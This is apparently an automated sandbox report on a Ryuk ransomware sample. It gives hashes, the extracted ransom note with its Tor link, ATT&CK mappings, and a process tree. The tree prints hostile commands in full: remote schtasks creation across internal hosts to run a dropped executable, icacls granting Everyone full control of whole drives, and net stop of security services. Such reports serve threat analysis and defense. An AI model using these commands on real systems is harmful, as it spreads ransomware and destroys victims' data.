ryuk | 956246824d2fb2f5f4738c450e8d222042b08c3e5c67c3ec755bedf641b7b1c5

Analysis

max time kernel
113s
max time network
142s
platform
windows10_x64
resource
win10v20201028
submitted
23/03/2021, 15:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

xxx.exe
Size

208KB
MD5

3c08d1e5233c623bfc854879173544de
SHA1

a1add1d1e80d84440fc013abcc754f1bdddf3a20
SHA256

956246824d2fb2f5f4738c450e8d222042b08c3e5c67c3ec755bedf641b7b1c5
SHA512

01adb468d0318f44532f5222fff6f06eb5128b6b368d2a939b0e5c54da592784e793f97a1a9617f908cf0b2b61c61253ec0157433faf3894cc34e63fbbc5a943

Score

10^/10

ryuk discovery ransomware

Malware Config

Extracted

Path

C:\users\Public\RyukReadMe.html

Family

ryuk

Ransom Note

contact balance of shadow universe Ryuk $password = 'UDmHKcEqZ'; $torlink = 'http://lgjpuim5fe3pejmllygcffape3djui6k2a5pcbpuyvps3h4ajb7yf4id.onion'; function info(){alert("INSTRUCTION:\r\n1. Download tor browser.\r\n2. Open link through tor browser: " + $torlink + "\r\n3. Fill the form, your password: "+ $password +"\r\nWe will contact you shortly.\r\nAlways send files for test decryption.");};

URLs

http://lgjpuim5fe3pejmllygcffape3djui6k2a5pcbpuyvps3h4ajb7yf4id.onion

Signatures

Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
ransomware ryuk

Executes dropped EXE 3 IoCs

pid	Process
2000	wtLIEtzKGrep.exe
652	gWqMBNtPvlan.exe
2608	ScKDbDhotlan.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4444	icacls.exe
4456	icacls.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI	xxx.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jre1.8.0_66\lib\ext\access-bridge-64.jar	xxx.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-text_zh_CN.jar	xxx.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\THIRDPARTYLICENSEREADME-JAVAFX.txt	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Templates\1033\LoanAmortization.xltx	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\RyukReadMe.html	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\dc-annotations\css\RyukReadMe.html	xxx.exe
File opened for modification	C:\Program Files\Common Files\System\Ole DB\oledbvbs.inc	xxx.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\meta\art\RyukReadMe.html	xxx.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\feature.xml	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019R_Grace-ul-oob.xrm-ms	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges\sql90.xsl	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ro-ro\ui-strings.js	xxx.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\en-US\mip.exe.mui	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\MondoR_Retail-ul-phn.xrm-ms	xxx.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\db\lib\derbytools.jar	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019MSDNR_Retail-ul-oob.xrm-ms	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSIPC\es\RyukReadMe.html	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ACEODDBS.DLL	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\icudtl.dat	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\eu-es\ui-strings.js	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fr-ma\RyukReadMe.html	xxx.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\et-EE\RyukReadMe.html	xxx.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.widgets_1.0.0.v20140514-1823.jar	xxx.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-core-multiview.xml	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Standard2019MSDNR_Retail-ppd.xrm-ms	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nb-no\RyukReadMe.html	xxx.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL011.XML	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Templates\1033\RedAndBlackReport.dotx	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Fonts\private\BOOKOS.TTF	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\Graph.exe.manifest	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.EXCEL.16.1033.hxn	xxx.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-awt.xml	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\GRPHFLT\JPEGIM32.FLT	xxx.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\access_output\RyukReadMe.html	xxx.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\RyukReadMe.html	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\WINWORD_COL.HXT	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_duplicate_18.svg	xxx.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\lib\deploy\splash.gif	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\en\DatabaseCompare_col.hxc	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\MSOUC_COL.HXC	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ExcelR_Retail-ppd.xrm-ms	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_Subscription2-ul-oob.xrm-ms	xxx.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mn.txt	xxx.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.greychart.ui_5.5.0.165303.jar	xxx.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.bindings_0.10.200.v20140424-2042.jar	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\Bibliography\Author2XML.XSL	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.POWERPNT.16.1033.hxn	xxx.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\vlc.mo	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pt-br\PlayStore_icon.svg	xxx.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\feature.properties	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\C2RIntLoc.en-us.16.msi	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioStdVL_MAK-ppd.xrm-ms	xxx.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\browse_window.html	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fr-ma\RyukReadMe.html	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sv-se\RyukReadMe.html	xxx.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\nl-nl\RyukReadMe.html	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sk-sk\ui-strings.js	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\root\ui-strings.js	xxx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-variant2.gif	xxx.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\PROOF\RyukReadMe.html	xxx.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-fallback_zh_CN.jar	xxx.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4748	schtasks.exe
1448	schtasks.exe
2156	schtasks.exe
5088	schtasks.exe
1768	schtasks.exe
4524	schtasks.exe
4656	schtasks.exe
4732	schtasks.exe
4432	schtasks.exe
4668	schtasks.exe
4864	schtasks.exe
1764	schtasks.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
644	xxx.exe
644	xxx.exe
644	xxx.exe
644	xxx.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 644 wrote to memory of 2000	644	xxx.exe	78
PID 644 wrote to memory of 2000	644	xxx.exe	78
PID 644 wrote to memory of 2000	644	xxx.exe	78
PID 644 wrote to memory of 652	644	xxx.exe	79
PID 644 wrote to memory of 652	644	xxx.exe	79
PID 644 wrote to memory of 652	644	xxx.exe	79
PID 644 wrote to memory of 2608	644	xxx.exe	80
PID 644 wrote to memory of 2608	644	xxx.exe	80
PID 644 wrote to memory of 2608	644	xxx.exe	80
PID 644 wrote to memory of 4444	644	xxx.exe	81
PID 644 wrote to memory of 4444	644	xxx.exe	81
PID 644 wrote to memory of 4444	644	xxx.exe	81
PID 644 wrote to memory of 4456	644	xxx.exe	83
PID 644 wrote to memory of 4456	644	xxx.exe	83
PID 644 wrote to memory of 4456	644	xxx.exe	83
PID 644 wrote to memory of 4852	644	xxx.exe	85
PID 644 wrote to memory of 4852	644	xxx.exe	85
PID 644 wrote to memory of 4852	644	xxx.exe	85
PID 644 wrote to memory of 4796	644	xxx.exe	87
PID 644 wrote to memory of 4796	644	xxx.exe	87
PID 644 wrote to memory of 4796	644	xxx.exe	87
PID 644 wrote to memory of 4884	644	xxx.exe	89
PID 644 wrote to memory of 4884	644	xxx.exe	89
PID 644 wrote to memory of 4884	644	xxx.exe	89
PID 4852 wrote to memory of 4844	4852	net.exe	91
PID 4852 wrote to memory of 4844	4852	net.exe	91
PID 4852 wrote to memory of 4844	4852	net.exe	91
PID 644 wrote to memory of 4944	644	xxx.exe	92
PID 644 wrote to memory of 4944	644	xxx.exe	92
PID 644 wrote to memory of 4944	644	xxx.exe	92
PID 4796 wrote to memory of 5056	4796	net.exe	94
PID 4796 wrote to memory of 5056	4796	net.exe	94
PID 4796 wrote to memory of 5056	4796	net.exe	94
PID 4884 wrote to memory of 4484	4884	net.exe	95
PID 4884 wrote to memory of 4484	4884	net.exe	95
PID 4884 wrote to memory of 4484	4884	net.exe	95
PID 4944 wrote to memory of 4792	4944	net.exe	96
PID 4944 wrote to memory of 4792	4944	net.exe	96
PID 4944 wrote to memory of 4792	4944	net.exe	96

C:\Users\Admin\AppData\Local\Temp\xxx.exe
"C:\Users\Admin\AppData\Local\Temp\xxx.exe"
1⤵
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:644
- C:\Users\Admin\AppData\Local\Temp\wtLIEtzKGrep.exe
  "C:\Users\Admin\AppData\Local\Temp\wtLIEtzKGrep.exe" 9 REP
  2⤵
  - Executes dropped EXE
  PID:2000
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.73 /TN VhdJgMX /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4656
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.82 /TN TGctyK5 /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4748
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.77 /TN 5EFJcFL /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4732
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.72 /TN p33jl25 /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4432
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.95 /TN jzKupPi /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4668
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.86 /TN qxhyim9 /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:1448
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.81 /TN sGCrDdL /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:2156
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.70 /TN AbdzP7q /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5088
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.88 /TN 0LDjBLF /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:1768
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.66 /TN eMHGKXY /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4864
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.74 /TN lWGEEzd /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4524
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.71 /TN JceVIbO /TR "C:\Users\Public\wtLIEtzKGrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:1764
- C:\Users\Admin\AppData\Local\Temp\gWqMBNtPvlan.exe
  "C:\Users\Admin\AppData\Local\Temp\gWqMBNtPvlan.exe" 8 LAN
  2⤵
  - Executes dropped EXE
  PID:652
- C:\Users\Admin\AppData\Local\Temp\ScKDbDhotlan.exe
  "C:\Users\Admin\AppData\Local\Temp\ScKDbDhotlan.exe" 8 LAN
  2⤵
  - Executes dropped EXE
  PID:2608
- C:\Windows\SysWOW64\icacls.exe
  icacls "C:\*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4444
- C:\Windows\SysWOW64\icacls.exe
  icacls "D:\*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4456
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:4844
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:5056
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:4484
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:4792

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/644-24-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/644-25-0x0000000003750000-0x0000000003751000-memory.dmp

Filesize
4KB

Download
memory/644-2-0x0000000002340000-0x0000000002341000-memory.dmp

Filesize
4KB

Download
memory/644-4-0x0000000035000000-0x000000003502A000-memory.dmp

Filesize
168KB

Download
memory/644-3-0x00000000004E0000-0x0000000000500000-memory.dmp

Filesize
128KB

Download
memory/652-14-0x00000000020D0000-0x00000000020D1000-memory.dmp

Filesize
4KB

Download
memory/2000-8-0x00000000021D0000-0x00000000021D1000-memory.dmp

Filesize
4KB

Download
memory/2608-20-0x00000000021A0000-0x00000000021A1000-memory.dmp

Filesize
4KB

Download